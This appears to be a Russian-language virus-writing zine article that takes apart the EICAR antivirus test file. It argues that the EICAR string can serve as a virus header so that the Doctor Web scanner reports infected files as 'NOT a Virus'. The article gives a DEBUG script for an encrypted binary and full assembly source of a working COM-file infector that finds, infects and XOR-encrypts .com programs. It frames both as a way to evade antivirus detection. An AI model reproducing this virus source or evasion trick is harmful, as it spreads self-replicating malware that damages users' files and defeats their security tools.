─[EICAR-STANDARD-ANTIVIRUS-TEST-FILE!]──────────────────────────────[MONGOOSE]─
вступление
────[TEST.TXT]───────[START]───────────────────────────────────────────────────
EICAR Test File
This TEST.TXT file is helpful in Данный файл (TEST.TXT) позволит Вам
testing the performance of the протестировать работоспособность анти-
antivirus programs detecting вирусных программ, обнаруживающих виру-
viruses with their signatures (for сы по их сигнатурам (например, антиви-
example, Doctor Web, DSAVmail, русных программ Doctor Web, DSAVmail,
Spider anti-virus programs). Spider и др.).
For this purpose, most of the anti- В настоящее время многими разработчика-
virus designers at present ми антивирусов принято для этой цели
generally make use of the standard использовать одну и ту же стандартную
TEST.COM program. программу TEST.COM. Эта программа была
The TEST.COM program is _specially_ _специально_ разработана для того, что-
designed such that the user, бы пользователь, не подвергая свой
without endangering his machine, компьютер опасности, мог посмотреть,
may verify how a newly-installed как его свежеустановленный антивирус
anti-virus tool will alert the user будет сигнализировать в случае обнару-
on detecting a virus. The TEST.COM жения вируса. Программа TEST.COM на са-
program, in reality, is not a мом деле вирусом не является, но опре-
virus, but it is recognized by the деляется большинством антивирусных
majority of anti-virus utilities программ (и программой Doctor Web, в
(even Doctor Web) as if it is a частности) якобы как вирус. При этом
virus. Furthermore, on detecting Doctor Web называет этот "вирус" следу-
this "virus", Doctor Web reports ющим образом:
EICAR Test File (Not a Virus!)
Other anti-virus utilities also Примерно так его называют и другие ан-
alert along somewhat similar lines. тивирусные программы. Для справки:
(The acronym EICAR stands for EICAR - European Institute for Computer
European Institute for Computer Anti-Virus Research.
Anti-Virus Research).
Программа TEST.COM представляет собой
The TEST.COM program is a 68-byte 68-байтный COM-файл, результат исполне-
COM-file, which on executed prints ния которого - вывод текстового сообще-
on the screen ния:
EICAR-STANDARD-ANTIVIRUS-TEST-FILE!
and then returns control to DOS. с последующим возвратом управления в
The TEST.COM file contains only DOS. Файл TEST.COM состоит полностью из
printable characters and the текстовых символов и соответствующая
corresponding text string reads as текстовая строка имеет следующий вид:
follows:
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
In the file you are presently Если из читаемого Вами файла (TEST.TXT)
reading now (i.e., TEST.TXT), if оставить лишь вышеприведенную строку и
you retain only the above line and таким образом отредактированный файл
delete all other text matter and сохранить под именем TEST.COM, то в ре-
rename the file thus edited to зультате получится программа, которая и
TEST.COM, you obtain a program, будет описанным выше "вирусом".
which is the "virus" described
above.
Information Service Department Информационная служба
DialogueScience,Inc. ЗАО "ДиалогНаука"
E-mail: [email protected]
http://www.DialogNauka.ru
────[TEST.TXT]───────[EOF]─────────────────────────────────────────────────────
Можно использовать EICAR файл в качестве заголовка вируса и... ;)
────[EICAR.LST]──────[START]───────────────────────────────────────────────────
0100▐ 58 POP AX
0101▐ 35 4F 21 XOR AX,214F
0104▐ 50 PUSH AX
0105▐ 25 40 41 AND AX,4140
0108▐ 50 PUSH AX
0109▐ 5B POP BX
010A▐ 34 5C XOR AL,5C
010C▐ 50 PUSH AX
010D▐ 5A POP DX
010E▐ 58 POP AX
010F▐ 35 34 28 XOR AX,2834
0112▐ 50 PUSH AX
0113▐ 5E POP SI
0114▐ 29 37 SUB Word ptr [BX],SI
0116▐ 43 INC BX
0117▐ 43 INC BX
0118▐ 29 37 SUB Word ptr [BX],SI
011A▐ 7D 24 JNL 0140
011C▐ 45 INC BP
011D▐ 49 DEC CX
011E▐ 43 INC BX
011F▐ 41 INC CX
0120▐ 52 PUSH DX
0121▐ 2D 53 54 SUB AX,5453
0124▐ 41 INC CX
0125▐ 4E DEC SI
0126▐ 44 INC SP
0127▐ 41 INC CX
0128▐ 52 PUSH DX
0129▐ 44 INC SP
012A▐ 2D 41 4E SUB AX,4E41
012D▐ 54 PUSH SP
012E▐ 49 DEC CX
012F▐ 56 PUSH SI
0130▐ 49 DEC CX
0131▐ 52 PUSH DX
0132▐ 55 PUSH BP
0133▐ 53 PUSH BX
0134▐ 2D 54 45 SUB AX,4554
0137▐ 53 PUSH BX
0138▐ 54 PUSH SP
0139▐ 2D 46 49 SUB AX,4946
013C▐ 4C DEC SP
013D▐ 45 INC BP
013E▐ 21 24 AND Word ptr [SI],SP
0140▐ 48 DEC AX ;┐ зашифрованные инструкции
0141▐ 2B 48 2A SUB CX,Word ptr [BX+SI]+2A ;┘ int 21h & int 20h
────[EICAR.LST]──────[EOF]─────────────────────────────────────────────────────
Надо обязательно учесть что две последние инструкции файла "зашифрованы" и
файл содержит небольшую проверку на целостность. Для того чтобы все зараженые
вирусом com-файлы не выводили при старте строку
EICAR-STANDARD-ANTIVIRUS-TEST-FILE!
не нужно изменять заголовок, достаточно использовать проверку файла на це-
лостность и вместо двух последних зашифрованных [!] байт (инструкция int 20h)
поставить два зашифрованных (например) нопа (90h,90h)
────[EICAR.ASM]──────[START]───────────────────────────────────────────────────
; modified eicar test file
;
.model tiny
.code
org 100h
eicar:
eicar_header db 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIR'
db 'US-TEST-FILE!$H+';H*'
crypted_int_1 db 48h,0bh ; Encrypted INT 1
mov ah,9
mov dx,offset legalize_cannabis
int 21h
int 20h
legalize_cannabis db 13,10,'Legalize cannabis!$'
end eicar
────[EICAR.ASM]──────[EOF]─────────────────────────────────────────────────────
авп молчит, реакция веба на файл повергла меня в шок:
────[REPORT.WEB]─────[START]───────────────────────────────────────────────────
[...skip...]
Master Boot Record HDD1 - Ok
Active DOS Boot Sector HDD1 - Ok
EICAR.COM инфицирован модификацией EICAR Test File (NOT a Virus!)
Отчет для диска C:
Проверено : файлов и загрузочных секторов - 3
Обнаружено: вирусов и инфицированных программ - 0
возможных модификаций вирусов - 1
Время сканирования: 00:00:01
────[REPORT.WEB]─────[EOF]─────────────────────────────────────────────────────
Если грамотно написать вирус (вирус обязательно должен быть шифрованым и
содержать анти-евристику) то веб будет говорить NOT a Virus! на все зараженые
файлы. ;-I
────[EICAR.SCR]──────[START]───────────────────────────────────────────────────
N EICAR.COM
E 0100 58 35 4F 21 50 25 40 41 50 5B 34 5C 50 5A 58 35
E 0110 34 28 50 5E 29 37 43 43 29 37 7D 24 45 49 43 41
E 0120 52 2D 53 54 41 4E 44 41 52 44 2D 41 4E 54 49 56
E 0130 49 52 55 53 2D 54 45 53 54 2D 46 49 4C 45 21 24
E 0140 48 2B 0B 9A BE 50 01 B9 F5 00 80 34 83 46 E2 FA
E 0150 85 9D 00 BD 95 83 83 F7 68 08 AD AA 81 02 46 C6
E 0160 81 02 85 C3 82 F8 8A 02 85 C1 82 F8 8A 37 CD A8
E 0170 4A 39 AD 81 4E A2 F0 80 6A 14 83 AD 22 19 83 BE
E 0180 C6 82 FC 80 6A 05 83 BE E3 69 FE 80 68 FC 13 3B
E 0190 81 BE 39 1D 83 4E A2 F0 81 68 5A 10 37 BC 3A C7
E 01A0 83 08 56 4E A2 12 3D 83 82 08 7E 7F 70 25 F6 80
E 01B0 68 D4 13 AD 22 19 83 20 AA 81 3B 83 C1 A8 4A 1A
E 01C0 4E A2 37 BC 3A C6 82 08 56 D2 D1 4E A2 3B 81 C1
E 01D0 A8 4A 1A 4E A2 37 C3 D9 DA 4E A2 67 C3 21 CF 82
E 01E0 08 7E 3D 83 82 3A C6 82 7F 70 27 08 76 00 45 D3
E 01F0 3A 76 83 B3 87 C5 61 78 3B 83 C1 A8 4A 1A 4E A2
E 0200 37 C3 3A C6 82 08 56 4E A2 37 BD 4E A2 37 CC 6A
E 0210 E1 7C 08 7E 3D A8 81 26 27 3A C6 82 08 76 A8 72
E 0220 3C 83 82 7F EB 83 82 7C 66 13 82 70 27 40 A9 AD
E 0230 E0 EC EE 83 CE CA D0 C7 CA D1 C6 C0 D7 C6 C7 A3
E 0240 DA CC D6 D7 CB 90 90 90 90 90 90 90 90 90 90 90
E 0250 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 0260 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 0270 90 90 8D 97 81 02 CD 21 2B C0 CD 16 B8 00 4C CD
E 0280 21 54 45 53 54 49 4E 20 31 2C 20 32 2C 20 33 24
E 0290 CC E8 00 00 5B 81 EB 04 01 B8 00 09 E9 63 01 90
E 02A0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 02B0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 02C0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 02D0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 02E0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 02F0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 0300 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 0310 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 0320 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 0330 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 0340 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 0350 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 0360 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 0370 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 0380 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 0390 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 03A0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 03B0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 03C0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 03D0 90 90 90 90 90
RCX
02D5
W
Q
────[EICAR.SCR]──────[EOF]─────────────────────────────────────────────────────
────[EICAR.ASM]──────[START]───────────────────────────────────────────────────
.model tiny
.code
org 100h
start:
header db 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIR'
db 'US-TEST-FILE!$'
decrypted_bytes db 48h,2bh,0bh,9ah
decryptor: mov si,offset real_start
mov cx,(end_of_code-real_start)
decrypt_loop: xor byte ptr [si],00
inc si
loop decrypt_loop
real_start: push es ds
cmp word ptr ds:[16h],0
jz decryptor
mov bp,word ptr [end_of_file]
add bp,(end_of_code-start)+100h
add word ptr [decrypted_bytes],097bh
add word ptr [decrypted_bytes+2],097bh
find_first: mov ah,4eh
sub cx,cx
mov dx,offset file_mask
find_next: int 21h
jnc check_if_small
jmp exit
check_if_small:mov ax,word ptr cs:[9ah]
cmp ax,(end_of_code-start)
jg check_if_big
jmp search_next
check_if_big: cmp ax,60000
jnl open_file
jmp search_next
open_file: mov ax,3d02h
mov dx,9eh
int 21h
jnc move_handle
jmp find_next
move_handle: xchg bx,ax
mov ah,3fh
mov cx,(decryptor-header)
mov dx,bp
int 21h
xchg ax,cx
mov si,offset header
mov di,bp
cld
rep cmpsb
jnz not_infected
jmp close_file
not_infected: mov ax,word ptr cs:[9ah]
mov word ptr [end_of_file],ax
mov ax,4200h
sub cx,cx
cwd
int 21h
mov ah,3fh
mov cx,(end_of_code-start)
mov dx,bp
push cx dx
int 21h
mov ax,4202h
sub cx,cx
cwd
int 21h
mov ah,40h
pop dx cx
int 21h
in al,40h
mov byte ptr [decrypt_loop+2],al
mov di,bp
mov si,100h
mov cx,(end_of_code-start)
cld
rep movsb
crypt_code: mov si,bp
add si,(real_start-start)
mov cx,(end_of_code-real_start)
crypts_loop: xor byte ptr [si],al
inc si
loop crypts_loop
mov ax,4200h
sub cx,cx
cwd
int 21h
mov ah,40h
mov cx,(end_of_code-start)
mov dx,bp
int 21h
close_file: mov ah,3eh
int 21h
search_next: mov ah,4fh
jmp find_next
exit: mov di,bp
mov si,offset commands
movsw
movsb
mov cx,(end_of_code-start)
mov si,bp
sub si,cx
mov di,100h
cld
push_100h db 68h,00h,01h
jmp bp
end_of_file dw offset end_of_code-100h
commands: rep movsb
ret
file_mask db '*.com',0
misdirected_youth db 'MISDIRECTED YOUTH'
end_of_code label byte
original db 0cdh, 20h
db (end_of_code-start)-2 dup (90h)
end start
────[EICAR.ASM]──────[EOF]─────────────────────────────────────────────────────
(c) mongoose, soldier of Misdirected Youth